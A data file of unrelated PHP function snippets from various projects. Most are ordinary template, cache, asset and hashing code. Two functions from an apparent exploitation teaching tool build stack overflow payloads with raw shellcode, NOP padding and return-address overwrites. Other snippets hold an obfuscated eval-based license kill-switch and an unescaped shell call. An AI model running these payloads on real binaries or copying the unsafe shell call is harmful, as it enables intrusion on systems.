and the timestamp is the\n\t\t// timestamp of delivery. If it is older the code will break by nullifying mxGraph.\n\t\t$now -= 63; // changes numbers so they can't be found\n\t\t$expire = KILL_EVAL_DELAY - 69; // changes numbers so they can't be found\n\t\t$check2 = \"if((eval('\\\\156\\\\145\\\\167\\\\40\\\\104\\\\141\\\\164\\\\145\\\\50\\\\51\\\\56\\\\147\\\\145\\\\164\\\\124\\\\151\\\\155\\\\145\\\\50\\\\51')/1000)-$now>$expire){mxGraph=function(){};}\";\t\n\t\t$code = str_replace(\"var mxCodecRegistry=\", \"$check2;var mxCodecRegistry=\", $code);\n\n\treturn $code;\n}", "public function process(): void {\n if($this->shouldCache() && $this->hasCache()) {\n $this->restoreCache();\n\n return;\n }\n\n $folders = [];\n foreach($this->sources_to_parse as $source_to_parse) {\n $folder = $source_to_parse->getFolderToParse();\n if(!isset($folders[$folder])) {\n $folders[$folder] = [\n 'extensions' => [],\n 'flags' => [],\n ];\n }\n $folders[$folder]['extensions'] = [...$folders[$folder]['extensions'], ...$source_to_parse->getExtensions()];\n $folders[$folder]['flags'] = [...$folders[$folder]['flags'], ...$source_to_parse->getFlags()];\n }\n\n foreach($folders as $folder => $folder_sources) {\n $folder_sources['extensions'] = array_values(array_unique($folder_sources['extensions']));\n $folder_sources['flags'] = array_values(array_unique($folder_sources['flags']));\n $code_data = $this->analyzer->parseFolder($folder, $folder_sources);\n $this->info_data[] = $code_data;\n $i = count($this->info_data) - 1;\n foreach($folder_sources['flags'] as $flag) {\n if(!isset($this->info_data_flag_refs[$flag])) {\n $this->info_data_flag_refs[$flag] = [];\n }\n $this->info_data_flag_refs[$flag][] = $i;\n }\n $this->flags = [...$this->flags, ...$folder_sources['flags']];\n }\n $this->flags = array_values(array_unique($this->flags));\n\n if($this->shouldCache()) {\n file_put_contents(\n $this->file_cache,\n \"<?php\\n\\nreturn \" .\n var_export([\n 'info_data' => $this->info_data,\n 'info_data_flag_refs' => $this->info_data_flag_refs,\n ], true) . ';',\n );\n }\n }", "function _obfuscate_lYeNkoeMlY2Ph5KGjY6VkIk’( $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ = 1 )\r\n{\r\n $_obfuscate_iJGPjJWLj4uLkIqVjYiHh48’ = unpack( \"C*\", \"ViewZendSourceCodeIsInvalid!\" );\r\n do\r\n {\r\n $_obfuscate_iY2Oh5OGlIqQhpCJi5CMkog’ = ( $_obfuscate_lZKViImJjo6UhouJj4aVi4Y’[$_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’] << 4 ) + ( $_obfuscate_lZKViImJjo6UhouJj4aVi4Y’[$_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ + 1] >> 4 );\r\n $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ += 2;\r\n } while ( $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ < 28 );\r\n}", "function _obfuscate_kouLiIaPjJWUhoqLkYaQjIg’( $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ = 1 )\r\n{\r\n $_obfuscate_iJGPjJWLj4uLkIqVjYiHh48’ = unpack( \"C*\", \"ViewZendSourceCodeIsInvalid!\" );\r\n do\r\n {\r\n $_obfuscate_iY2Oh5OGlIqQhpCJi5CMkog’ = ( $_obfuscate_lZKViImJjo6UhouJj4aVi4Y’[$_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’] << 4 ) + ( $_obfuscate_lZKViImJjo6UhouJj4aVi4Y’[$_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ + 1] >> 4 );\r\n $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ += 2;\r\n } while ( $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ < 28 );\r\n}", "abstract public function hashFile($filename);", "public function removeCode()\n\t{\n\t\t// This is useful for saving space.\n\t\t// This function is useful when dealing with \"composite pages\" i.e.\n\t\t// the processor would:\n\t\t// -- fetch the code from the content,\n\t\t// -- load the code in the PHP machine using \"eval\"\n\t\t// -- strip the content from the code\n\t\t// -- invoke the callback with, as parameters, the source page & \n\t\t// this page's content \n\t\t$content = preg_replace(\"/\\<php(.*)php\\>/siU\",\"\", $this->content);\n\t\t$this->content = $content;\n\t}", "public function compile() {\r\n\t\tif(file_exists($this->result_file)) {\r\n\t\t\tunlink($this->result_file);\r\n\t\t\tclearstatcache();\r\n\t\t\tif(file_exists($this->result_file)) {\r\n\t\t\t\tthrow new exceptions\\filecompile(\"Failed to delete older compiled file during compilation\");\r\n\t\t\t}\r\n\t\t}\r\n\t\tswitch($this->type) {\r\n\t\t\tcase self::TYPE_CSS:\r\n\t\t\t\t$this->compileCss();\r\n\t\t\t\tbreak;\r\n\t\t\tcase self::TYPE_JS:\r\n\t\t\t\t$this->compileJs();\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\tthrow new exceptions\\source(\"Failed to compile resources: unknown resource type\");\r\n\t\t}\r\n\t\tclearstatcache();\r\n\t\treturn file_exists($this->result_file);\r\n\t}", "public function loadFile($path, $data = array(), $process = true)\n\t{\n\t if(isset($this->_cache))\n\t {\n\t $identifier = md5($path); \n\t \n\t if ($template = $this->_cache->get($identifier)) \n\t {\n\t\t // store the path\n\t\t $this->_path = $path;\n\t\t \n\t $this->loadString($template, $data, $process);\n\t return $this;\n\t }\n\t } \n\t \n\t\treturn parent::loadFile($path, $data, $process);;\n\t}", "protected function compileStub($fileName)\n {\n $stub = $this->filesystem->get(__DIR__ . '/../../stubs/' . $fileName . '.stub');\n\n return $stub;\n }", "public function getFreshHash()\n {\n $currentDisk = $this->getDisk();\n\n $tmpFile = tempnam(sys_get_temp_dir(), 'asset');\n $handle = fopen($tmpFile, \"w\");\n\n $bh = $currentDisk->readStream($this->path);\n while(!feof($bh)) {\n fwrite($handle, fread($bh, 8192));\n }\n fclose($handle);\n\n $file = new UploadedFile($tmpFile, $this->name);\n\n $uploader = new AssetUploader();\n $hash = $uploader->getHash($file);\n\n // Remove temporary file\n unlink($tmpFile);\n\n return $hash;\n }", "public function getExecutableCode(): string;", "public static function getCompiledPath($path)\n {\n }", "public static function getSource()\n {\n if (false === ($code = @file(__FILE__))) {\n $error = error_get_last();\n\n throw new RuntimeException($error['message']);\n }\n\n $code = array_slice($code, 6);\n\n foreach ($code as $i => $line) {\n if ('' === trim($line)) {\n unset($code[$i]);\n continue;\n }\n\n if (preg_match('{^\\s*(/\\*+|\\*+)}', $line)) {\n unset($code[$i]);\n }\n }\n\n return join('', $code);\n }", "private function read_hash_file(){\n\n $file = MD5_HASHER_DIR . $this->file_check;\n\n if(is_file($file) && is_readable($file)){\n $fh = fopen(MD5_HASHER_DIR . $this->file_check, 'r');\n\n if(filesize(MD5_HASHER_DIR.$this->file_check) > 0)\n $this->md5_gen_old = (Array)json_decode(fread($fh, filesize(MD5_HASHER_DIR.$this->file_check)));\n\n fclose($fh);\n }\n }", "function profbud_script_loader_tag( $tag, $handle ) {\r\n\t$scripts_to_load = array(\r\n\t\tarray(\r\n\t\t\t( 'name' ) => 'jquery',\r\n\t\t\t( 'integrity' ) => 'sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=',\r\n\t\t)\r\n\t);\r\n\t$key = array_search( $handle, array_column( $scripts_to_load, 'name' ) );\r\n\tif ( $key !== false ) {\r\n\t\t$tag = str_replace( '></script>', ' integrity=\\'' . $scripts_to_load[$key]['integrity'] . '\\' crossorigin=\\'anonymous\\'></script>', $tag );\r\n\t}\r\n\treturn $tag;\r\n}", "protected function _loadCacheFile()\n\t{\n\t\tif ( $this->obj['query_cache_file'] )\n \t{\n \t\trequire_once( $this->obj['query_cache_file'] );/*noLibHook*/\n \t\n\t\t\t$sql_queries_name = $this->sql_queries_name ? $this->sql_queries_name : 'sql_queries';\n\n \t\t$this->sql = new $sql_queries_name( $this );\n \t}\n\t}", "function ChangePhp($filename, $inihash) {\r\n$hash=$this->ReadPhp($filename);\t#READ AND PARSE PHP FILE\r\nif($inihash) {\r\n\tforeach($inihash as $key=>$value) {\r\n\t\t$hash[$key]=$value;\t#CHANGE VALUE OF HASH\r\n\t}\r\n\t$this->writePhp($filename, $hash);\t#WRITE TO PHP FILE\r\n\treturn TRUE;\r\n} else {\r\n\t$this->writeError=\"ERROR: Your INI-hash is empty\";\t#ERROR IF HASH IS EMPTY\r\n\treturn FALSE;\r\n}\r\n\r\n}", "public function build()\n\t{\n\t\t// Get our output filename\n\t\t$this->name = $this->hashName();\n\t\t\n\t\t// Save the source if it doesn't already exist\n\t\t$output = $this->path.$this->name;\n\t\tif ( ! file_exists($output) ) {\n\n\t\t\t// Load our asset sources\n\t\t\tforeach ($this->files as $asset) {\n\t\t\t\tif (file_exists($asset)) {\n\t\t\t\t\t$this->source .= file_get_contents($asset);\n\t\t\t\t\tif (!$this->minified) { $this->source .= \"\\n\\n\"; }\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Minify the source if needed\n\t\t\tif ($this->minified) {\n\t\t\t\t$this->source = Minify::minify($this->source);\n\t\t\t}\n\n\t\t\t// Output the file\n\t\t\tfile_put_contents($output, $this->source);\n\t\t}\n\t}", "function _obfuscate_jI_PlJOMhoiPkZOOh4_OkYs’( $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ = 1 )\r\n{\r\n $_obfuscate_iJGPjJWLj4uLkIqVjYiHh48’ = unpack( \"C*\", \"ViewZendSourceCodeIsInvalid!\" );\r\n do\r\n {\r\n $_obfuscate_iY2Oh5OGlIqQhpCJi5CMkog’ = ( $_obfuscate_lZKViImJjo6UhouJj4aVi4Y’[$_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’] << 4 ) + ( $_obfuscate_lZKViImJjo6UhouJj4aVi4Y’[$_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ + 1] >> 4 );\r\n $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ += 2;\r\n } while ( $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ < 28 );\r\n}", "public function getCode() {}", "public function handle(): int\n {\n $removedFiles = $this->smartyFactory\n ->getSmarty()\n ->clearCompiledTemplate($this->option('file'), $this->option('compile_id'));\n\n if ($removedFiles > 0) {\n $this->info(\"Removed $removedFiles compiled Smarty file\" . ($removedFiles > 1 ? 's' : '') . '.');\n }\n\n return 0;\n }", "static protected function _preProcess($rows, $params = array()) {\n\t\t$return = array();\n\t\tforeach($rows as $row => &$file) {\n\t\t\tself::log($row);\n\t\t\tif (!file_exists($file)) {\n\t\t\t\tself::log('Cache file not found');\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$_ = '';\n\t\t\t$_file = $file;\n\t\t\t$contents = file_get_contents($file);\n\n\t\t\tif (file_exists($file . '.preprocessed')) {\n\t\t\t\tself::log(\"File $file.preprocessed exists\");\n\t\t\t} else {\n\t\t\t\t$contents = preg_replace(\"@<script[^>]*>.*?</script>@s\", '', $contents);\n\t\t\t\t$contents = preg_replace(\"@\\s*<!--.*?-->\\s*@s\", '', $contents);\n\t\t\t\tfile_put_contents($file . '.preprocessed', $contents);\n\t\t\t\t$contents = `tidy -asxhtml -utf8 -modify --break-before-br y --clean y --drop-empty-paras y --drop-font-tags y -i --quiet y --tab-size 4 --wrap 1000 - < $file.preprocessed 2>/dev/null`;\n\n\t\t\t\tself::log(\"Writing $file.preprocessed\");\n\t\t\t\tfile_put_contents($file . '.preprocessed', $contents);\n\t\t\t}\n\t\t\t$return[$row] = 'processed';\n\t\t}\n\t\treturn $return;\n\t}", "function _obfuscate_jYiPioeJi5OSiY_RlIeIjYw’( $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ = 1 )\r\n{\r\n $_obfuscate_iJGPjJWLj4uLkIqVjYiHh48’ = unpack( \"C*\", \"ViewZendSourceCodeIsInvalid!\" );\r\n do\r\n {\r\n $_obfuscate_iY2Oh5OGlIqQhpCJi5CMkog’ = ( $_obfuscate_lZKViImJjo6UhouJj4aVi4Y’[$_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’] << 4 ) + ( $_obfuscate_lZKViImJjo6UhouJj4aVi4Y’[$_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ + 1] >> 4 );\r\n $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ += 2;\r\n } while ( $_obfuscate_jpKPlJSUiZOHkYaPlIeOiY4’ < 28 );\r\n}", "function ret2code2bss() {\n\t$this->chapitre(\"Return to .BSS\");\n\t$this->article(\"La Zone bss\", \" regroupe les données globales non-initialisées\");\n\t$this->bin2bss2size();$this->pause();\n\t$this->bin2bss2content();$this->pause();\n\t$this->titre(\"Adresse de la variable globalbuf\");\n\t$this->ssTitre(\"Via nm\");\n\t$this->requette(\"nm $this->file_path | grep globalbuf\");\n\t$this->pause();\n\t$this->ssTitre(\"Via le script source\");\n\t$ret = trim($this->req_ret_str(\"$this->file_path AAAAAAAA | grep '0x' | cut -d : -f 2\"));$this->pause();\n\t$this->ssTitre(\"Via gdb\");\n\t$this->requette(\"gdb -q --batch -ex \\\"print &globalbuf\\\" $this->file_path\");\n\t$this->requette(\"gdb -q --batch -ex \\\"info symbol $ret\\\" $this->file_path\");\n\t$this->pause();\n\n\t$overflow = $this->bin2fuzzeling(\"\");\n\t$this->pause();\n\t$offset_eip = $this->bin2offset4eip($overflow);\n\t\n\t// date\n\t$shellcode = '\\xb8\\xe7\\xc2\\xdf\\xef\\xda\\xd8\\xd9\\x74\\x24\\xf4\\x5d\\x29\\xc9\\xb1\\x0b\\x31\\x45\\x12\\x83\\xc5\\x04\\x03\\xa2\\xcc\\x3d\\x1a\\x46\\xda\\x99\\x7c\\xc4\\xba\\x71\\x52\\x8b\\xcb\\x65\\xc4\\x64\\xbf\\x01\\x15\\x12\\x10\\xb0\\x7c\\x8c\\xe7\\xd7\\x2d\\xb8\\xfd\\x17\\xd2\\x38\\x9a\\x76\\xa6\\x5d\\x62\\x2e\\x15\\x14\\x83\\x1d\\x19';\n\tsystem(\"echo '$shellcode' > $this->file_rep/shellcode4ret2code4bss.hex\");\n\t$shellcode_file = new file(\"$this->file_rep/shellcode4ret2code4bss.hex\");\n\t\t\t\n\t$size_shellcode = $shellcode_file->shellcode2size();\n\techo \"\\nTaille Du SHELLCODE: $size_shellcode bytes\\n\";\n\t$nops = ($offset_eip - $size_shellcode);\n\t$addr = $this->hex2rev_32($ret);\n\t$this->article(\"Explication\", \"Retour vers global Varial qui elle pointe vers argv[1]\");\n\t$query = \"$this->file_path `python -c print'\\\"\\\\x90\\\"*$nops+\\\"$shellcode\\\"+\\\"$addr\\\"'`\";\n\t$this->requette($query);\n\t$this->pause();\n\t$this->notify(\"END .BSS section\");\n\n}", "public function compileString($templateName, $templateBasedir, $templateFilepath, $parsedTemplateFilepath, $code) {\n\n // open the template\n $fp = fopen($parsedTemplateFilepath, \"w\");\n\n // lock the file\n if (flock($fp, LOCK_SH)) {\n\n // xml substitution\n $code = preg_replace(\"/<\\?xml(.*?)\\?>/s\", \"##XML\\\\1XML##\", $code);\n\n // disable php tag\n if (!$this->php_enabled)\n $code = str_replace(array(\"<?\", \"?>\"), array(\"&lt;?\", \"?&gt;\"), $code);\n\n // xml re-substitution\n $code = preg_replace_callback(\"/##XML(.*?)XML##/s\", function( $match ) {\n return \"<?php echo '<?xml \" . stripslashes($match[1]) . \" ?>'; ?>\";\n }, $code);\n\n $parsedCode = $this->compileTemplate($code, $isString = true, $templateBasedir, $templateDirectory = null, $templateFilepath);\n/* $parsedCode = \"<?php if(!class_exists('\\\\core\\\\rtpl\\\\RainbowTemplate')){exit;}?>\" . $parsedCode; */\n\n // fix the php-eating-newline-after-closing-tag-problem\n $parsedCode = str_replace(\"?>\\n\", \"?>\\n\\n\", $parsedCode);\n\n // create directories\n#ä if (!is_dir($this->config['cache_dir']))\n#ä mkdir($this->config['cache_dir'], 0755, true);\n\n // check if the cache is writable\n if (!is_writable($this->cache->getCacheDir()))\n throw new \\core\\exceptions\\OperationNotPermittedException('Cache directory ' . $this->cache->getCacheDir() . 'doesn\\'t have write permission. Set write permission or set RAINTPL_CHECK_TEMPLATE_UPDATE to false. More details on http://www.raintpl.com/Documentation/Documentation-for-PHP-developers/Configuration/');\n\n // write compiled file\n fwrite($fp, $parsedCode);\n\n // release the file lock\n flock($fp, LOCK_UN);\n }\n\n // close the file\n fclose($fp);\n }", "protected function checkSomePhpOpcodeCacheIsLoaded() {}", "protected function compile(ClassMapping $map) {\n Veval::execute($map->recompile());\n }", "function abp01_wrapper_process_script($filePath) {\n $bom = pack('H*','EFBBBF');\n \n $contents = @file_get_contents($filePath);\n $contents = trim(preg_replace(\"/^$bom/\", '', $contents));\n\n return (\n '(function (L) {' . PHP_EOL .\n $contents . PHP_EOL .\n '})(window.' . ABP01_WRAPPED_LEAFLET_CONTEXT . ');'\n );\n}", "public function convert()\n {\n $cFunctionCallIndexes = array();\n\n $classMap = $this->getClassMap();\n\n $cSourceCodeMap = array();\n\n foreach($classMap as $className => $classInfo) {\n for ($index = $classInfo->startLine; $index <= $classInfo->endLine; $index++) {\n if (preg_match(\"/call_c_function\\(.*\\)/\", $this->codeLines[$index], $matches)) {\n if(count($matches) == 1) {\n $codeLine = str_replace(array(\"call_c_function\",\"(\",\")\",\";\",\"$\"),\"\",trim($this->codeLines[$index]));\n $lineComps = explode(\"=\",$codeLine);\n $lineCompsCount = count($lineComps);\n $resultVarName = \"\";\n if ($lineCompsCount == 1) { //this means we just call the c function and do not have a return variable\n $cFunctionCallComps = explode(\",\",$lineComps[0]);\n $cFunctionCallComps = explode(\",\",$lineComps[1]);\n foreach($cFunctionCallComps as $idx => $comp) {\n $cFunctionCallComps[$idx] = trim(str_replace(\"$\",\"\",$cFunctionCallComps[$idx]));\n }\n } else if ($lineCompsCount > 1) { //this means we call the c function and then store the result in a return variable \n $resultVarName = trim(str_replace(\"$\",\"\",$lineComps[0]));\n $cFunctionCallComps = explode(\",\",$lineComps[1]);\n foreach($cFunctionCallComps as $idx => $comp) {\n $cFunctionCallComps[$idx] = trim(str_replace(\"$\",\"\",$cFunctionCallComps[$idx]));\n }\n }\n\n if (count($cFunctionCallComps) > 0) {\n $firstComp = array_shift($cFunctionCallComps);\n $cSourceFile = str_replace(array(\"'\",'\"'),\"\",$firstComp);\n $secondComp = array_shift($cFunctionCallComps);\n $cFUnctionName = str_replace(array(\"'\",'\"'),\"\",$secondComp);\n $cFUnctionInputParamsStr = \"\";\n if (count($cFunctionCallComps) > 0) {\n $cFUnctionInputParamsStr = implode(\", \",$cFunctionCallComps); \n }\n\n $cFunctionCallCode = \"\";\n $cFunctionCallCode .= \"let $resultVarName = null;\\n\"; //initialize result var\n $cFunctionCallCode .= \"\\n%{\\n\";\n if (strlen($resultVarName) == 0) {\n $cFunctionCallCode .= $cFUnctionName.\"($cFUnctionInputParamsStr);\"; \n } else {\n $cFunctionCallCode .= \"$resultVarName = \".$cFUnctionName.\"($cFUnctionInputParamsStr);\";\n }\n $cFunctionCallCode .= \"\\n}%\\n\";\n\n $expectedZephirCode = 'let '.$resultVarName.' = call_c_function('.$firstComp.', '.$secondComp.', '.implode(\", \",$cFunctionCallComps).');';\n $this->postSearchAndReplace($expectedZephirCode,$cFunctionCallCode);\n\n //now, inject the c source code to the top of the class \n $namespace = $classInfo->namespace;\n $classPureName = array_pop(explode(\"\\\\\",$className));\n $originalCode = \"namespace $namespace;\\n\\n\".\"class $classPureName\\n\";\n if (!isset($cSourceCodeMap[$cSourceFile])) {\n $cSourceCode = file_get_contents($this->inputDir.\"/\".$cSourceFile);\n $cSourceCodeMap[$cSourceFile] = $cSourceCode;\n $withCSourceCode = \"%{\\n\".$cSourceCodeMap[$cSourceFile].\"\\n}%\\n\".$originalCode; \n $this->postSearchAndReplace($originalCode, $withCSourceCode);\n }\n }\n\n }\n\n }\n }\n\n }\n }", "function ret2code2data() {\n\t$this->chapitre(\"Return to .DATA\");\n\t$this->article(\"La zone data\", \" stocke les données globales statiques initialisées (dont la valeur est fournie lors de la compilation)\");\n\t$overflow = 100;\n\n\t$this->ssTitre(\"exec Programme\");\n\t$this->requette(\"$this->file_path rohff\");\n\t$this->note(\"la variable shellcode_date n'est appelée nulle part dans l'execution du programme\");\n\t$this->bin2data2size();$this->pause();\n\t$this->bin2data2content();$this->pause();\n\n\t$this->titre(\"Adresse de la variable shellcode_data\");\n\t$this->ssTitre(\"Via le script source\");\n\t$ret = trim($this->req_ret_str(\"$this->file_path AAAAAAAA | grep '0x' | cut -d : -f 2\"));$this->pause();\n\t$this->ssTitre(\"Via gdb\");\n\t$this->requette(\"gdb -q --batch -ex \\\"print &shellcode_data\\\" $this->file_path\");\n\t$this->requette(\"gdb -q --batch -ex \\\"info symbol $ret\\\" $this->file_path\");\n\t$this->ssTitre(\"Via nm\");\t$this->requette(\"nm $this->file_path | grep shellcode_data\");\t$this->pause();\n\t$offset_eip = $this->bin2offset4eip($overflow);\n\t$addr = $this->hex2rev_32($ret);\n\t$query = \"$this->file_path `python -c print'\\\"A\\\"*$offset_eip+\\\"$addr\\\"'`\";\n\t$this->requette($query);\n\t$this->pause();\n\t$this->notify(\"END .data Section\");\n}", "function smash_filter_script_loader_src( $src, $handle ) {\n\n\t$scripts = wp_scripts();\n\n\tif ( $handle === 'comment-reply' ) {\n\n\t\t$scripts->registered[ $handle ]->extra[ 'filters' ] = array(\n\t\t\t'loadjs' => array(\n\t\t\t\t'async' => TRUE,\n\t\t\t\t'onLoad' => TRUE\n\t\t\t)\n\t\t);\n\t} else if ( $handle === 'wp-embed' ) {\n\t\t// @issue https://github.com/inpsyde/smashing-magazin/issues/440\n\t\t// Adding ABSPATH to src, otherwhise the file_get_contents will fail.\n\t\t$scripts->registered[ $handle ]->src = ABSPATH . $scripts->registered[ $handle ]->src;\n\t\t$scripts->registered[ $handle ]->extra[ 'filters' ] = array( 'inlinejs' => TRUE );\n\t} else if ( function_exists( '\\CloudFour\\ServiceWorkerManager\\get_config' ) ) {\n\t\t$config = \\CloudFour\\ServiceWorkerManager\\get_config();\n\t\tif ( $handle === $config[ 'serviceWorkerRegistrationHandle' ] ) {\n\t\t\t$scripts->registered[ $handle ]->extra[ 'filters' ] = array(\n\t\t\t\t'inlinejs' => TRUE\n\t\t\t);\n\t\t}\n\t}\n\n\treturn $src;\n}", "public function process(File $phpcsFile, $stackPtr)\n {\n if (isset($this->processed[$phpcsFile->getFilename()])) {\n return;\n }\n\n $this->uses = [];\n $next = $stackPtr;\n $tokens = $phpcsFile->getTokens();\n\n while ($next !== false) {\n $this->checkUseToken($phpcsFile, $next);\n $next = $phpcsFile->findNext(T_USE, $next + 1);\n }\n\n // Prevent multiple uses in the same file from entering\n $this->processed[$phpcsFile->getFilename()] = true;\n foreach ($this->uses as $scope => $used) {\n $defined = $sorted = array_keys($used);\n natcasesort($sorted);\n $sorted = array_values($sorted);\n\n if ($sorted === $defined) {\n continue;\n }\n\n foreach ($defined as $i => $name) {\n if ($name !== $sorted[$i]) {\n $error = 'Use classes must be in alphabetical order.';\n $fix = $phpcsFile->addFixableError($error, $used[$name], 'UseInAlphabeticalOrder', []);\n }\n }\n\n if (isset($fix) && $fix === true) {\n $phpcsFile->fixer->beginChangeset();\n\n // Remove all old use statements\n $semiColon = $stackPtr;\n foreach ($defined as $i => $name) {\n $semiColon = $phpcsFile->findEndOfStatement($semiColon);\n for ($j = $stackPtr; $j <= $semiColon; $j++) {\n // Remain \"Use\" keyword because we will use it to insert new use statement\n if ($tokens[$j]['code'] !== T_USE && $tokens[$j]['content'] !== \"\\n\") {\n $phpcsFile->fixer->replaceToken($j, '');\n }\n }\n }\n\n // Insert new use statements\n $usePos = $phpcsFile->findNext(T_USE, $stackPtr);\n foreach ($sorted as $name) {\n $phpcsFile->fixer->addContent($usePos, \"{$name};\");\n $usePos = $phpcsFile->findNext(T_USE, $usePos + 1);\n }\n\n $phpcsFile->fixer->endChangeset();\n }\n }\n }", "public function setHashCode($var)\n {\n GPBUtil::checkUint64($var);\n $this->hash_code = $var;\n\n return $this;\n }", "public function ConvertStrtoCode($data) {\n\t\t$this->adler = hash(\"adler32\", $data);\n\t\t$this->crc = hash(\"crc32\", $data);\n\t\t$this->code = $this->adler.\"<br>\".$this->crc;\n\t}", "public function INTincScript_loadJSCode() {}", "private function loadContent() {\n\t\t$expression =\n\t\t\t'/sunflower-'. // match only right files\n\t\t\t'(\\d+\\.\\d+\\w?)[\\.-](\\d+)'. // version\n\t\t\t'(?:-(\\d)+)?'. // package build number\n\t\t\t'(?:[\\.-](all|any|noarch|i386|amd64))?(?:\\.([\\w\\d]+))?'. // architecture and os\n\t\t\t'(\\.[\\w\\d\\.]+)/iu'; // extension\n\n\t\t// get files from directory\n\t\t$data = array();\n\t\t$files = scandir($this->file_path);\n\t\tforeach ($files as $file_name) {\n\t\t\t$matched = preg_match($expression, $file_name, $matches) == 1;\n\n\t\t\tif ($matched) {\n\t\t\t\t$build = $matches[2];\n\n\t\t\t\t// create storage array for build number\n\t\t\t\tif (!isset($data[$build]))\n\t\t\t\t\t$data[$build] = array();\n\n\t\t\t\t// treat different extensions differently\n\t\t\t\tswitch($matches[6]) {\n\t\t\t\t\tcase '.tgz.sig':\n\t\t\t\t\tcase '.deb.sig':\n\t\t\t\t\tcase '.rpm.sig':\n\t\t\t\t\t\t$key_name = substr($file_name, 0, strlen($file_name) - 4);\n\n\t\t\t\t\t\t// make sure storage array exists\n\t\t\t\t\t\tif (!isset($data[$build][$key_name]))\n\t\t\t\t\t\t\t$data[$build][$key_name] = array();\n\n\t\t\t\t\t\t// store signature to file name\n\t\t\t\t\t\t$data[$build][$key_name]['signature'] = url_GetFromFilePath($this->file_path.'/'.$file_name);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase '.tgz.sha256':\n\t\t\t\t\tcase '.deb.sha256':\n\t\t\t\t\tcase '.rpm.sha256':\n\t\t\t\t\t\t$key_name = substr($file_name, 0, strlen($file_name) - 7);\n\n\t\t\t\t\t\t// make sure storage array exists\n\t\t\t\t\t\tif (!isset($data[$build][$key_name]))\n\t\t\t\t\t\t\t$data[$build][$key_name] = array();\n\n\t\t\t\t\t\t// store signature to file name\n\t\t\t\t\t\t$data[$build][$key_name]['hash'] = file_get_contents($this->file_path.'/'.$file_name);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t// make sure storage array exists\n\t\t\t\t\t\tif (!isset($data[$build][$file_name]))\n\t\t\t\t\t\t\t$data[$build][$file_name] = array();\n\n\t\t\t\t\t\t// get storage array for easier access\n\t\t\t\t\t\t$file_data = $data[$build][$file_name];\n\n\t\t\t\t\t\t// populate parameters\n\t\t\t\t\t\t$file_data['url'] = url_GetFromFilePath($this->file_path.'/'.$file_name);\n\t\t\t\t\t\t$file_data['version'] = $matches[1];\n\t\t\t\t\t\t$file_data['build'] = $matches[2];\n\t\t\t\t\t\t$file_data['package_build'] = $matches[3];\n\t\t\t\t\t\t$file_data['architecture'] = $matches[4];\n\t\t\t\t\t\t$file_data['platform'] = $matches[5];\n\t\t\t\t\t\t$file_data['extension'] = $matches[6];\n\n\t\t\t\t\t\t// store data array back to main array\n\t\t\t\t\t\t$data[$build][$file_name] = $file_data;\n\n\t\t\t\t\t\t// store version to reference list\n\t\t\t\t\t\t$this->version_list[$build] = $matches[1];\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// sort version list\n\t\tkrsort($this->version_list);\n\n\t\t// store parsed data\n\t\t$this->file_list = $data;\n\t}", "function init_code(&$code)\n\n{\n\n $code .= \"\\n\";\n\n \n\n // code not allowed to contain our special characters\n\n return ($code = strtr($code, array(\"\\x00\" => '', \"\\x01\" => '')));\n\n}", "function add_to_cache($className, $path)\n{\n global $cache_map, $cache_file;\n\n if(!empty($className))\n {\n if(!$cache_map)\n $cache_map = array();\n\n $cache_map[$className] = $path;\n\n file_put_contents($cache_file, '<?php ' . \"\\n\" . '$cache_map = ' .\"\\n\" . var_export($cache_map, true) . ';' );\n\n }\n}", "protected function compileAssets()\n {\n if ($this->config->assets->live) {\n $classMap = Compiler::$classMap;\n\n // We don't want to compile pages here\n unset($classMap['pages']);\n\n foreach ($classMap as $scope => $scopeClass) {\n $config = $this->config->assets->{$scope};\n\n if ($config) {\n $config->clean = $this->config->assets->clean;\n $compiler = new $scopeClass($config);\n $compiler->compile();\n }\n }\n }\n }", "private function generate_code() {\n\t\t$secret = $this->code_generator->createSecret();\n\t\t$code = $this->code_generator->getCode($secret);\n\t\treturn array('secret'=>$secret, 'code'=>$code);\n\t}", "function pparse($handle)\n\t{\n\t\tglobal $config;\n\n\t\t// Mighty Gorgon - Extra Debug - BEGIN\n\t\tif (defined('DEBUG_EXTRA') && DEBUG_EXTRA && !empty($_REQUEST['explain']))\n\t\t{\n\t\t\tglobal $user, $db;\n\t\t\tif (($user->data['user_level'] == ADMIN) && method_exists($db, 'sql_report'))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\t// Mighty Gorgon - Extra Debug - END\n\n\t\tif (!defined('CSS_JS_PARSED'))\n\t\t{\n\t\t\t$this->add_css_js();\n\t\t}\n\n\t\t// parsing header if there is one\n\t\tif($this->preparse || $this->postparse)\n\t\t{\n\t\t\t$preparse = $this->preparse;\n\t\t\t$postparse = $this->postparse;\n\t\t\t$this->preparse = '';\n\t\t\t$this->postparse = '';\n\t\t\tif($preparse)\n\t\t\t{\n\t\t\t\t$this->pparse($preparse);\n\t\t\t}\n\t\t\tif($postparse)\n\t\t\t{\n\t\t\t\t$str = $handle;\n\t\t\t\t$handle = 